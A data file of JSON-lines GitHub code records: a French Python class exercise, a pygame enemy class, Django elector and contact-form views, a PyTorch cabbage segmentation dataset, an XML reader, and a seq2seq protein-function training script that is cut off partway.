+{"seq_id":"70794421523","text":"# Dans cet exercice, vous disposez d'une classe Entreprise qui contient un\n# attribut de classe employes :\n\n# class Entreprise:\n#     employes = []\n# Cet attribut est une liste qui doit contenir les employés de l'entreprise.\n\n# Le but de cet exercice, est de créer des instances d'employés à partir de\n# la liste de tuples employes :\n\n# employes = [\n#             (\"Pierre\", \"Smith\", \"Responsable RH\", 35000),\n#             (\"Julie\", \"Martin\", \"Développeur Python\", 42000),\n#             (\"Éric\", \"Dupont\", \"Chef de projet\", 50000),\n#             ]\n# Chaque instance d'employé créé à partir de la classe Employe doit être ajouté\n# à l'attribut de classe employes de la classe Entreprise.\n\n# L'attribut employes de la classe Entreprise, doit donc à la fin de l'exercice\n# contenir trois instances de la classe Employe :\n\n# >>> print(Entreprise.employes)\n# [<__main__.Employe object at 0x102356860>,\n#  <__main__.Employe object at 0x102356898>,\n#  <__main__.Employe object at 0x1023568d0>]\n\nclass Entreprise:\n    employes = []\n\n\nclass Employe:\n    def __init__(self, prenom, nom, position, salaire):\n        self.prenom = prenom\n        self.nom = nom\n        self.position = position\n        self.salaire = salaire\n\n\nemployes = [\n    (\"Pierre\", \"Smith\", \"Responsable RH\", 35000),\n    (\"Julie\", \"Martin\", \"Développeur Python\", 42000),\n    (\"Éric\", \"Dupont\", \"Chef de projet\", 50000),\n]\n\n# ////////////////////////////////////////////////////\nfor employe_data in employes:\n    employe = Employe(*employe_data)\n    print(employe_data)\n    Entreprise.employes.append(employe)\n# ////////////////////////////////////////////////////\n\n\n# La première chose à faire pour pouvoir ajouter les employés contenus dans la\n# liste employes est de boucler dessus pour avoir accès à chaque tuple de cette liste.\n\n# Pour ce faire, on utilise une boucle for :\n\n# for employe_data in employes:\n# À l'intérieur de la boucle, on crée ensuite une instance à partir de la classe\n# Employe :\n\n# employe = Employe(*employe_data)\n# Vous remarquerez que j'utilise l'astérisque, qui me permet d'unpacker automatiquement\n# le tuple dans les paramètres de la méthode __init__.\n\n# En effet, on aurait pu spécifier chaque argument séparément en récupérant les éléments\n# dans le tuple mais c'est plus long à écrire :\n\n# employe = Employe(employe_data[0], employe_data[1], employe_data[2], employe_data[3])\n# Ou encore en spécifiant le nom des paramètres, pour un code plus clair\n# (mais définitivement plus long à écrire !) :\n\n# employe = Employe(prenom=employe_data[0],\n#                   nom=employe_data[1],\n#                   position=employe_data[2],\n#                   salaire=employe_data[3])\n# Vu que les éléments dans le tuple sont de le même ordre que les paramètres de\n# la méthode __init__, on peut donc utiliser l'astérisque pour 'unpacker' ces éléments :\n\n# employe = Employe(*employe_data)\n# Il ne reste plus qu'à ajouter l'instance récupérée dans la variable employe à\n# l'attribut employes de la classe Entreprise :\n\n\n# Pour unpacker des éléments d'un tuple, on peut utiliser l'astérisque.\n\n# Pour ajouter un élément à une liste, on utilise la méthode append.\n\n# Pour boucler sur une liste, on utilise une boucle for.\n","repo_name":"Alexluu13/Oop_Python","sub_path":"010-Débutant/070-Créer des instances d'employés/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":3266,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2285061418","text":"import pygame\nfrom player import Player\nfrom settings import *\nfrom entity import Entity\nfrom support import *\nfrom typing import Callable\n\nclass Enemy(Entity):\n    def __init__(self, monster_name: str, monster_type: str, game_difficulty: int, game_round: int, map_size: int, pos: tuple, groups: list, obstacle_sprites: pygame.sprite.Group, damage_player: Callable, trigger_death_particles: Callable, monster_count_down: Callable, drop_item: Callable, add_exp: Callable, drop_weapon: Callable) -> None:\n        # general setup\n        super().__init__(groups)\n        self.sprite_type = 'enemy'\n        self.monster_type  = monster_type\n        self.display_surface = pygame.display.get_surface()\n\n        # graphics setup\n        self.import_graphics(monster_name)\n        self.status = 'idle'\n        self.image  = self.animations[self.status][self.frame_index]\n\n        # movement\n        self.rect             = self.image.get_rect(topleft = pos)\n        self.hitbox           = self.rect.inflate(0, -10)\n        self.obstacle_sprites = obstacle_sprites\n\n        # stats\n        self.monster_name  = monster_name\n        monster_info       = monster_data[self.monster_name]\n        self.health        = (monster_info['health'] + monster_info['health'] * (game_round / 5)) * game_difficulty\n        self.max_health = self.health\n        if game_difficulty == 2: # 하드 모드 경험치, 몬스터 데미지 배율 2\n            rate = 2\n        else: # 이지 노말 난이도 경험치, 몬스터 데미지 배율 1\n            rate = 1\n        print(rate)\n        self.exp           = (monster_info['exp'] + monster_info['exp'] * (game_round / 5)) * rate\n        self.speed         = monster_info['speed']\n        self.attack_damage = (monster_info['damage'] + monster_info['damage'] * (game_round / 5)) * rate\n        self.resistance    = monster_info['resistance']\n        self.attack_radius = monster_info['attack_radius']\n        self.notice_radius = monster_info['notice_radius']\n        self.attack_type   = monster_info['attack_type']\n\n        # player interaction\n        self.can_attack              = True\n        self.attack_time             = None\n        self.attack_cooldown         = 400\n        self.damage_player           = damage_player\n        self.trigger_death_particles = trigger_death_particles\n        self.add_exp = add_exp\n\n        # level interaction\n        self.monster_count_down = monster_count_down\n\n        # invincibility timer\n        self.vulnerable             = True\n        self.hit_time               = None\n        self.invincibility_duration = 300\n\n        self.drop_item = drop_item\n        self.drop_weapon = drop_weapon\n        self.map_size = map_size\n\n        # sounds\n        self.death_sound = pygame.mixer.Sound('resource/audio/death.wav')\n        self.hit_sound = pygame.mixer.Sound('resource/audio/hit.wav')\n        self.attack_sound = pygame.mixer.Sound(monster_info['attack_sound'])\n        self.death_sound.set_volume(0.6)\n        self.hit_sound.set_volume(0.6)\n        self.attack_sound.set_volume(0.6)\n        \n    def import_graphics(self, name: str):\n        if self.monster_type == 'normal':\n            self.animations = {\n                'idle'         : [],\n                'up'           : [],\n                'down'         : [],\n                'left'         : [],\n                'right'        : [],\n                'attack'       : []\n            }\n        elif self.monster_type == 'unique':\n            self.animations = {\n            'idle'  : [],\n            'move'  : [],\n            'attack': []\n            }\n        \n\n        main_path = 'resource/graphics/monsters/{}/'.format(name)\n        for animation in self.animations.keys():\n            self.animations[animation] = import_folder(main_path + animation)\n\n    def get_player_distance_direction(self, player: Player):\n        enemy_vec = pygame.math.Vector2(self.rect.center)\n        player_vec = pygame.math.Vector2(player.rect.center)\n        distance = (player_vec - enemy_vec).magnitude()\n\n        if distance > 0:\n            direction = (player_vec - enemy_vec).normalize()\n            # print(direction)\n        else:\n            direction = pygame.math.Vector2()\n\n        return (distance, direction)\n    \n    def get_status(self, player: Player):\n        distance = self.get_player_distance_direction(player)[0]\n        direction = self.get_player_distance_direction(player)[1]\n\n        if distance <= self.attack_radius and self.can_attack:\n            if self.status != 'attack':\n                self.frame_index = 0\n            self.status = 'attack'\n        elif distance <= self.notice_radius:\n            if self.monster_type == 'normal':\n            # 위쪽\n                if (direction.x < 0.5 and direction.x > -0.5) and direction.y < -0.5:\n                    self.status = 'up'\n                # 아래쪽\n                elif (direction.x < 0.5 and direction.x > -0.5) and direction.y > 0.5:\n                    self.status = 'down'\n                # 오른쪽\n                elif direction.x >= 0.5 and (direction.y <= 0.5 and direction.y >= -0.5):\n                    self.status = 'right'\n                # 왼쪽\n                elif direction.x <= -0.5 and (direction.y <= 0.5 and direction.y >= -0.5):\n                    self.status = 'left'\n            else:\n                self.status = 'move'\n        else:\n            self.status = 'idle'\n    \n    def actions(self, player: Player):\n        if self.status == 'attack':\n            self.attack_time = pygame.time.get_ticks()\n            self.damage_player(self.attack_damage, self.attack_type)\n            self.attack_sound.play()\n        elif self.status == 'up' or self.status == 'down' or self.status == 'right' or self.status == 'left' or self.status == 'move':\n            self.direction = self.get_player_distance_direction(player)[1]\n        else:\n            self.direction = pygame.math.Vector2()\n\n    def animate(self):\n        animation = self.animations[self.status]\n\n        self.frame_index += self.animation_speed\n        if self.frame_index >= len(animation):\n            if self.status == 'attack':\n                self.can_attack = False\n            self.frame_index = 0\n\n        self.image = animation[int(self.frame_index)]\n        self.rect = self.image.get_rect(center = self.hitbox.center)\n\n        if not self.vulnerable:\n            alpha = self.wave_value()\n            self.image.set_alpha(alpha)\n        else:\n            self.image.set_alpha(255)\n\n    def cooldown(self):\n        current_time = pygame.time.get_ticks()\n        if not self.can_attack:\n            if current_time - self.attack_time >= self.attack_cooldown:\n                self.can_attack = True\n        \n        if not self.vulnerable:\n            if current_time - self.hit_time >= self.invincibility_duration:\n                self.vulnerable = True\n\n    def get_damage(self, player: Player, attack_type: str):\n        if self.vulnerable:\n            self.hit_sound.play()\n            self.direction = self.get_player_distance_direction(player)[1]\n            if attack_type == 'weapon':\n                self.health -= player.get_full_weapon_damage()\n            else:\n                self.health -= player.get_full_magic_damage()\n            self.hit_time = pygame.time.get_ticks()\n            self.vulnerable = False\n        \n    def check_death(self):\n        if self.health <= 0:\n            self.kill()\n            self.trigger_death_particles(self.rect.center, self.monster_name)\n            self.death_sound.play()\n            self.monster_count_down()\n            if self.monster_type == 'normal':\n                self.drop_item(self.rect.center)\n            else:\n                self.drop_weapon(self.rect.center)\n            self.add_exp(self.exp)\n    \n    def hit_reaction(self):\n        if not self.vulnerable:\n            self.direction *= -self.resistance\n\n    def health_ui(self, pos):\n        # show_bar(self, current, max_amount, bg_rect, color):\n        # draw bg\n        x = pos[0]\n        y = pos[1] - 10\n        if self.monster_type == 'normal':\n            bg_rect = pygame.Rect(x, y, 64, 10)\n        else:\n            bg_rect = pygame.Rect(x, y, 240, 20)\n        pygame.draw.rect(self.display_surface, UI_BG_COLOR, bg_rect)\n\n        # converting stat to pixel\n        ratio = self.health / self.max_health\n        current_width = bg_rect.width * ratio\n        current_rect = bg_rect.copy()\n        current_rect.width = current_width\n\n        # drawing the bar\n        pygame.draw.rect(self.display_surface, 'red', current_rect)\n        pygame.draw.rect(self.display_surface, UI_BORDER_COLOR, bg_rect, 3)\n\n\n    def update(self):\n        # print(self.hitbox.x, self.hitbox.y)\n        self.hit_reaction()\n        self.out_map()\n        self.move(self.speed)\n        self.animate()\n        self.cooldown()\n        self.check_death()\n\n    def enemy_update(self, player: Player, pos) -> None:\n        self.get_status(player)\n        self.actions(player)\n        self.health_ui(pos)\n\n","repo_name":"MyungHyun-Ahn/I_wanted_to_make_RPG_game","sub_path":"enemy.py","file_name":"enemy.py","file_ext":"py","file_size_in_byte":9024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2455812026","text":"from django.shortcuts import render, redirect, reverse\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse_lazy  # , reverse\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic.edit import CreateView, UpdateView\nfrom django.views.generic.detail import DetailView\nfrom django.views.generic.list import ListView\n\nfrom .forms import ElectorForm\nfrom .models import Elector\nfrom ..utils import (set_active,\n                     get_queryset_by_state,\n                     set_active_field,\n                     group_required)\n# Create your views here.\n\n\n# ____________________________________________\n# _Elector\ndecorators = [login_required(login_url='gest_usuario:login'),\n              group_required('staff')]\n\n\n@ method_decorator(decorators, name='dispatch')\nclass ElectorCreateView(CreateView):\n    model = Elector\n    form_class = ElectorForm\n    template_name = 'utils/create.html'\n    success_url = reverse_lazy('bienvenida:bienvenida')\n\n    def post(self, request, *args, **kwargs):\n        form = self.form_class(request.POST)\n        if form.is_valid():\n            return HttpResponseRedirect(form.save().get_absolute_url())\n        self.object = None\n        context = self.get_context_data(**kwargs)\n        context['form'] = form\n        return render(request, self.template_name, context)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['card_title'] = 'Agregar un Elector'\n        context['submit_button'] = 'Registrar'\n        context['cancel_url'] = 'gest_elector:listado'\n        return context\n\n\n@ method_decorator(decorators, name='dispatch')\nclass ElectorUpdateView(UpdateView):\n    model = Elector\n    form_class = ElectorForm\n    template_name = 'utils/create.html'\n    #success_url = reverse_lazy('gest_cargo:listado')\n\n    def get_success_url(self):\n        # return reverse('gest_cargo:detalle', kwargs={'pk': self.object.id})\n        return self.object.get_absolute_url()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['card_title'] = \"Editar datos del cargo\"\n        context['cancel_url'] = 'gest_elector:listado'\n        context['submit_button'] = 'Actualizar'\n        return context\n\n\n@ method_decorator(decorators, name='dispatch')\nclass ElectorListView(ListView):\n    model = Elector\n    template_name = 'gest_elector/elector_list.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        # print(request.GET)\n        return super().dispatch(request, *args, **kwargs)\n\n    def get_queryset(self):\n        \"\"\"\"\"\"\n        if 'estado' in self.request.GET:\n            return get_queryset_by_state(self.model, self.request.GET['estado'])\n        return self.model.objects.all()\n\n    def post(self, request, *args, **kwargs):\n        try:\n            set_active(self.model,\n                       request.POST['object_id'],\n                       'True' == request.POST['active'])\n        except KeyError:\n            print('Where is my flag?')\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['title'] = 'Listado de Elector'\n        context['page_title_heading'] = 'Elector'\n        context['message_no_queryset'] = 'No hay electores registrados'\n        context['thead_values'] = ['DNI', 'Nombre/s', 'Apellido/s', 'Posee cuenta?', ]\n        context['url_listado'] = 'gest_elector:listado'\n        context['url_agregar'] = 'gest_elector:agregar'\n        context['url_detalle'] = 'gest_elector:detalle'\n        context['url_actualizar'] = 'gest_elector:actualizar'\n        if 'estado' in self.request.GET:\n            context['estado'] = self.request.GET['estado']\n        context['text_badge_dark'] = 'Listado de electores registrado'\n        return context\n\n\n# gest_elector:detalle\n@method_decorator(decorators, name='dispatch')\nclass ElectorDetailView(DetailView):\n    model = Elector\n    template_name = 'gest_elector/elector_detail.html'\n\n    def dispatch(self, request, *args, **kwargs):\n        self.object = self.get_object()\n        return super().dispatch(request, *args, **kwargs)\n\n    def post(self, request, *args, **kwargs):\n        try:\n            # cambiar el estado del registro\n            set_active_field(self.object, 'True' == request.POST['active'])\n        except KeyError:\n            print('Where is my flag?')\n        return redirect(request.META['HTTP_REFERER'])\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['url_listado'] = 'gest_elector:listado'\n        context['title'] = 'Detalle del Elector'\n        context['page_title_heading'] = self.object.__str__()\n        context['url_actualizar'] = 'gest_elector:actualizar'\n        if self.object.cuenta_u:\n            context['accion_url'] = '#'\n            context['accion_text'] = 'Mas info'\n        else:\n            context['accion_url'] = reverse('gest_usuario:gen-cu-elector')\n            context['accion_text'] = 'Generar una cuenta'\n        context['text_badge_dark'] = 'Detalles del elector'\n        # context['title'] = self.object.__str__()\n        #context['eleccion_set'] = self.object.eleccion_set.all()\n        #context['active_url'] = 'eleccion:active_elector'\n        return context\n","repo_name":"chocolatito/siselecc","sub_path":"apps/gest_elector/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12510563804","text":"from __future__ import print_function, division\n\nimport os\nimport numpy as np\n\nfrom PIL import Image\nfrom skimage import io\n# from skimage import transform\n\nfrom mypath import Path\nfrom dataloaders import custom_transforms as tr\n\nimport torch\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\n\nclass CabbageDataset(Dataset):\n    \"\"\"\n    Cabbage dataset\n    \"\"\"\n    CAB_CLASSES = ['cabbage', 'not_cabbage']\n    NUM_CLASSES = 2\n\n    def __init__(self, args, base_dir=Path.db_root_dir('cabbage'), split='train'):\n        \"\"\"\n        :param base_dir: path to cabbage dataset directory\n        :param split: train/val\n        :param transform: transform to apply\n        \"\"\"\n        super().__init__()\n        self.args = args\n        self._base_dir = base_dir\n        self.split = split\n\n        if self.split == 'train':\n            self.train_dir = os.path.join(self._base_dir, 'train')\n            self.train_folder_list = sorted(os.listdir(self.train_dir))\n            self.train_data_path = [\n                '/'.join([self.train_dir, self.train_folder_list[i]])\n                for i in range(len(self.train_folder_list))]\n\n        elif self.split == 'val':\n            self.val_dir = os.path.join(self._base_dir, 'val')\n            self.val_folder_list = sorted(os.listdir(self.val_dir))\n            self.val_data_path = [\n                '/'.join([self.val_dir, self.val_folder_list[i]])\n                for i in range(len(self.val_folder_list))]\n        else:\n            raise NotImplementedError\n\n    def __getitem__(self, idx):\n        _img, _target = self.make_img_gt_point_pair(idx)\n        sample = {'image': _img,\n                  'label': _target}\n\n        if self.args.models == 'DeepLab':\n\n            if self.split == 'train':\n                return self.transform_dlv(sample)\n\n            elif self.split == 'val':\n                return self.transform_dlv(sample)\n\n        elif self.args.models == 'SegNet':\n\n            if self.split == 'train':\n                return self.transform_se(sample)\n\n            elif self.split == 'val':\n                return self.transform_se(sample)\n\n        elif self.args.models == 'UNet':\n\n            if self.split == 'train':\n                return self.transform_unet(sample)\n\n            elif self.split == 'val':\n                return self.transform_unet(sample)\n\n    def __len__(self):\n        if self.split == 'train':\n            return len(self.train_folder_list)\n\n        elif self.split == 'val':\n            return len(self.val_folder_list)\n\n    def make_img_gt_point_pair(self, idx):\n        if self.split == 'train':\n            _img = Image.open(os.path.join(self.train_data_path[idx], 'input.png')).convert('RGB')\n            _target = Image.open(os.path.join(self.train_data_path[idx], 'output.png')).convert('L')\n\n            return _img, _target\n\n        elif self.split == 'val':\n            _img = Image.open(os.path.join(self.val_data_path[idx], 'input.png')).convert('RGB')\n            _target = Image.open(os.path.join(self.val_data_path[idx], 'output.png')).convert('L')\n\n            return _img, _target\n\n    def transform_totensor(self, sample):\n        original_transforms = transforms.Compose([\n            transforms.ToTensor(),\n            transforms.Normalize(mean=[0.221, 0.413, 0.177],\n                                 std=[0.179, 0.160, 0.135])])\n\n        target_transforms = transforms.Compose([\n            transforms.ToTensor()])\n\n        _img, _target = original_transforms(sample['image']), target_transforms(sample['label'])\n\n        return {'image': _img,\n                'label': _target}\n\n    def transform_se(self, sample):\n        resized_transforms = transforms.Compose([\n            transforms.Resize((self.args.base_size, self.args.base_size))])\n\n        _img, _target = resized_transforms(sample['image']), resized_transforms(sample['label'])\n\n        samples = {'image': _img,\n                   'label': _target}\n\n        return self.transform_totensor(samples)\n\n    def transform_unet(self, sample):\n        resized_transforms = transforms.Compose([\n            transforms.Resize((self.args.base_size, self.args.base_size))])\n\n        _img, _target = resized_transforms(sample['image']), resized_transforms(sample['label'])\n\n        _img = self.mirrored_input(_img, e=92)\n        samples = {'image': _img,\n                   'label': _target}\n\n        return self.transform_totensor(samples)\n\n    def mirrored_input(self, x, e=92):\n        '''input size: 572 -> output size: 388 '''\n        # w, h = x.shape\n        w, h = np.shape(x)[0], np.shape(x)[1]\n\n        y = np.zeros((h + e * 2, w + e * 2, np.shape(x)[2]))\n        y[e: h + e, e: w + e] = x\n        y[e: e + h, 0: e] = np.flip(y[e: e + h, e: 2 * e], 1)  # flip vertically\n        y[e: e + h, e + w: 2 * e + w] = np.flip(y[e: e + h, w: e + w], 1)\n        y[0: e, 0: 2 * e + w] = np.flip(y[e: 2 * e, 0: 2 * e + w], 0)  # flip horizontally\n        y[e + h: 2 * e + h, 0: 2 * e + w] = np.flip(y[h: e + h, 0: 2 * e + w], 0)\n\n        return y\n\n    def transform_dlv(self, sample):\n        resized_transforms = transforms.Compose([\n            transforms.Resize((self.args.base_size, self.args.base_size))])\n\n        _img, _target = resized_transforms(sample['image']), resized_transforms(sample['label'])\n\n        samples = {'image': _img,\n                   'label': _target}\n\n        return self.transform_totensor(samples)\n\n\n# confirm Dataload & Data Augmentation\nif __name__ == '__main__':\n    from dataloaders.utils import decode_segmap\n    from torch.utils.data import DataLoader\n    import matplotlib.pyplot as plt\n    import argparse\n\n    parser = argparse.ArgumentParser()\n    args = parser.parse_args()\n    args.base_size = 513\n    args.crop_size = 513\n\n    cabbage_train = CabbageDataset(args, split='train')\n\n    dataloader = DataLoader(cabbage_train, batch_size=5, shuffle=True, num_workers=0)\n\n    for ii, sample in enumerate(dataloader):\n        for jj in range(sample['image'].size()[0]):\n            img = sample['image'].numpy()\n            gt = sample['label'].numpy()\n            tmp = np.array(gt[jj]).astype(np.uint8)\n            segmap = decode_segmap(tmp, dataset='cabbage')\n            img_tmp = np.transpose(img[jj], axes=[1, 2, 0])\n            img_tmp *= (0.229, 0.224, 0.225)\n            img_tmp += (0.485, 0.456, 0.406)\n            img_tmp *= 255.0\n            img_tmp = img_tmp.astype(np.uint8)\n            plt.figure()\n            plt.title('display')\n            plt.subplot(211)\n            plt.imshow(img_tmp)\n            plt.subplot(212)\n            plt.imshow(segmap)\n\n        if ii == 1:\n            break\n\n    plt.show(block=True)\n","repo_name":"Yongwon-Jo/Semantic-Segmentation-of-Cabbage-in-the-South-Korea","sub_path":"dataloaders/dataset/Cabbage.py","file_name":"Cabbage.py","file_ext":"py","file_size_in_byte":6655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40287113909","text":"\"\"\"\n# Journey Python - Chapter 40\n# Reading xml files.\n\"\"\"\nfrom xml.etree import ElementTree as ET\n\ntree = ET.parse('produtos.xml')\nroot = tree.getroot()\n\nfor child in root:\n    print(child.tag, child.attrib['id'], child[0].text, child[1].text)","repo_name":"wesinalves/100daysofcodev2","sub_path":"codigos/cap40/read_xml.py","file_name":"read_xml.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"15797687388","text":"from django.shortcuts import render, redirect\nfrom django.core.mail import EmailMessage\nfrom django.urls import reverse\nfrom .forms import ContactForm\n# Create your views here.   \ndef contact(request):\n    contactForm=ContactForm()\n    if request.method==\"POST\":\n        contactForm=ContactForm(data=request.POST)\n        if contactForm.is_valid():\n            name=request.POST.get('name','')\n            email=request.POST.get('email','')\n            subject=request.POST.get('subject','')\n            message=request.POST.get('message','')\n            email=EmailMessage(\n                \"PetLover: Nuevo mensaje\",\n                \"De {} <{}>\\n\\nAsunto: {}\\n\\nMensaje:\\n\\n{}\".format(name,email,subject,message),\n                \"correo@inbox.mailtrap.io\",\n                [\"aquintero@itsqmet.edu.ec\"],\n                reply_to=[email]\n            )\n            try:\n                email.send()\n                return redirect(reverse('contact')+\"?ok\")\n            except:\n                return redirect(reverse('contact')+\"?fail\")\n    return render(request,\"contact/contact.html\", {'contactForm':contactForm})","repo_name":"QuinteroVA/django_pets_proyectofinal","sub_path":"contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6730558270","text":"import random\nimport math\nimport time\nfrom model import Encoder, Attention, Decoder, Seq2Seq\nfrom prepare_data import Data\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport numpy as np\n\ndef batch_split(x, y, i, batch_size, total_sample_size):\n    bond = i+batch_size+1\n    extend_constrain = bond > total_sample_size\n    src = x[:, i:] if extend_constrain else x[:, i:i+batch_size]\n    trg = y[:, i:] if extend_constrain else y[:, i:i+batch_size]\n\n    return src, trg\n\n\ndef train(model, input, gt, optimizer, criterion, clip, batch_size):\n    \n    model.train()\n    epoch_loss = 0\n    total_sample_size = len(input[0])\n    batch_num = total_sample_size/batch_size\n    \n    for i in range(0, total_sample_size, batch_size):\n            src, trg = batch_split(input, gt, i, batch_size, total_sample_size)\n\n            optimizer.zero_grad()\n\n            output = model(src, trg)\n\n            ret = output[1:, 0, :].squeeze()\n            for batch in range(1,output.shape[1]):\n                b = output[1:,batch,:].squeeze()\n                ret = torch.cat((ret, b), 0)\n            output = ret\n\n            output  = torch.softmax(output, dim=1)\n            # print(output)\n\n            trg = torch.transpose(trg[1:], 1, 0)\n            trg  = torch.flatten(trg)\n            # print(trg)\n\n            loss = criterion(output, trg)\n\n            loss.backward()\n            torch.nn.utils.clip_grad_norm_(model.parameters(), clip)\n            optimizer.step()\n\n            epoch_loss += loss.item()\n\n    return epoch_loss / batch_num\n\ndef evaluate(model, input, gt, criterion, batch_size):\n    \n    model.eval()\n    epoch_loss = 0\n    total_sample_size = len(input[0])\n    batch_num = total_sample_size/batch_size\n\n    with torch.no_grad():\n\n        for i in range(0, total_sample_size, batch_size):\n            src, trg = batch_split(input, gt, i, batch_size, total_sample_size)\n            output = model(src, trg)\n            ret = output[1:, 0, :].squeeze()\n\n            for batch in range(1,output.shape[1]):\n                b = output[1:,batch,:].squeeze()\n                ret = torch.cat((ret, b), 0)\n            output = ret\n            output  = torch.softmax(output, dim=1)\n            # print(output)\n\n            trg = torch.transpose(trg[1:], 1, 0)\n            trg  = torch.flatten(trg)\n            # print(trg)\n\n            loss = criterion(output, trg)\n\n            epoch_loss += loss.item()\n\n    return epoch_loss / batch_num\n\ndef epoch_time(start_time, end_time):\n    elapsed_time = end_time - start_time\n    elapsed_mins = int(elapsed_time / 60)\n    elapsed_secs = int(elapsed_time - (elapsed_mins * 60))\n    return elapsed_mins, elapsed_secs\n\ndef count_parameters(model):\n    return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\ndef init_weights(m):\n    for name, param in m.named_parameters():\n        if 'weight' in name:\n            nn.init.normal_(param.data, mean=0, std=0.01)\n        else:\n            nn.init.constant_(param.data, 0)\n\n\nif __name__ == '__main__':\n    SEED = 1234\n    random.seed(SEED)\n    np.random.seed(SEED)\n    torch.manual_seed(SEED)\n    torch.cuda.manual_seed(SEED)\n    torch.backends.cudnn.deterministic = True\n\n    sequence = [\"sos M G A E E E D T A I L Y P F T I S G N D R N G N F T I N F K G T P N S T N N G C I G Y S Y N G D W E K I E W E G S C D G N G N L V V E V P M S K I P A G V T S G E I Q I W W H S G D L K M T D Y K A L E H H H H H H eos\"\n            ,\"sos M N K Y L F E L P Y E R S E P G W T I R S Y F D L M Y N E N R F L D A V E N I V N K E S Y I L D G I Y C N F P D M N S Y D E S E H F E G V E F A V G Y P P D E D D I V I V S E E T C F E Y V R L A C E K Y L Q L H P E D T E K V N K L L S K I P S A G H H H H H H eos\"\n            , \"sos M N K Y L F E L P Y E R S E P G W T I R S Y F D L M Y N E N R F L D A V E N I V N K E S Y I L D G I Y C N F P D M N S Y D E S E H F E G V E F A V G Y P P D E D D I V I V S E E T C F E Y V R L A C E K Y L Q L H P E D T E K V N K L L S K I P S A G H H H H H H eos\"\n            , \"sos M G A E E E D T A I L Y P F T I S G N D R N G N F T I N F K G T P N S T N N G C I G Y S Y N G D W E K I E W E G S C D G N G N L V V E V P M S K I P A G V T S G E I Q I W W H S G D L K M T D Y K A L E H H H H H H I eos\"\n            , \"sos M N K Y L F E L P Y E R S E P G W T I R S Y F D L M Y N E N R F L D A V E N I V N K E S Y I L D G I Y C N F P D M N S Y D E S E H F E G V E F A V G Y P P D E D D I V I V S E E T C F E Y V R L A C E K Y L Q L H P E D T E K V N K L L S K I P S A G H H H H H H G eos\"]\n    function = ['sos The enzyme has a broad substrate specificity, acting on several cyclohexanols and cyclohexenols, and is not identical to (+)-neomenthol dehydrogenase (EC 1.1.1.208). eos'\n            ,'sos This enzyme, which is not identical with EC 1.1.1.207 (-)-menthol dehydrogenase, functions by acting on various cyclohexanols and cyclohexenols. eos'\n            , 'sos This enzyme, which is not identical with EC 1.1.1.207 (-)-menthol dehydrogenase, functions by acting on various cyclohexanols and cyclohexenols. eos'\n            , 'sos This enzyme is found in various organisms and acts on sugar alcohols such as L-iditol, D-glucitol, D-xylitol, and D-galactitol. It shows different substrate specificity depending on the organism or tissue. It is specific to NAD+ and cannot use NADP+. eos'\n            , 'sos The enzyme converts xylitol to L-xylulose and L-glucitol to L-fructose. eos']\n\n    sequence_eva = [\"sos M N K Y L F E L P Y E R S E P G W T I R S Y F D L M Y N E N R F L D A V E N I V N K E S Y I L D G I Y C N F P D M N S Y D E S E H F E G V E F A V G Y P P D E D D I V I V S E E T C F E Y V R L A C E K Y L Q L H P E D T E K V N K L L S Y I P S A G H H H H H H eos\"]\n    function_eva = ['sos The enzyme from Agrobacterium fabrum C58 converts alditols with L-threo-configuration adjacent to a primary alcohol group into corresponding sugars, and is involved in D-altritol and galactitol degradation pathways. eos']\n    Train_data = Data(sequence, function,sequence_eva, function_eva)\n    ## model build \n\n    INPUT_DIM = Train_data.src_len\n    OUTPUT_DIM = Train_data.trg_len\n    ENC_EMB_DIM = 256\n    DEC_EMB_DIM = 256\n    ENC_HID_DIM = 512\n    DEC_HID_DIM = 512\n    ENC_DROPOUT = 0.5\n    DEC_DROPOUT = 0.5\n\n    attn = Attention(ENC_HID_DIM, DEC_HID_DIM)\n    enc = Encoder(INPUT_DIM, ENC_EMB_DIM, ENC_HID_DIM, DEC_HID_DIM, ENC_DROPOUT)\n    dec = Decoder(OUTPUT_DIM, DEC_EMB_DIM, ENC_HID_DIM, DEC_HID_DIM, DEC_DROPOUT, attn)\n\n    device= torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n    model = Seq2Seq(enc, dec, device).to(device)\n    model.apply(init_weights)\n    print(f'The model has {count_parameters(model):,} trainable parameters')\n\n    optimizer = optim.Adam(model.parameters())\n    criterion = nn.CrossEntropyLoss(ignore_index = 0)\n\n    N_EPOCHS = 2\n    CLIP = 1\n    batch_size = 2\n\n    best_valid_loss = float('inf')\n\n    for epoch in range(N_EPOCHS):\n\n        start_time = time.time()\n\n        train_loss = train(model, Train_data.src, Train_data.trg, optimizer, criterion, CLIP, batch_size)\n        # valid_loss = evaluate(model, valid_iterator, criterion)\n\n        end_time = time.time()\n        epoch_mins, epoch_secs = epoch_time(start_time, end_time)\n\n        # if valid_loss < best_valid_loss:\n        #     best_valid_loss = valid_loss\n        #     torch.save(model.state_dict(), 'test-model.pt')\n        torch.save(model.state_dict(), 'test-model.pt')\n        print(f'Epoch: {epoch+1:02} | Time: {epoch_mins}m {epoch_secs}s')\n        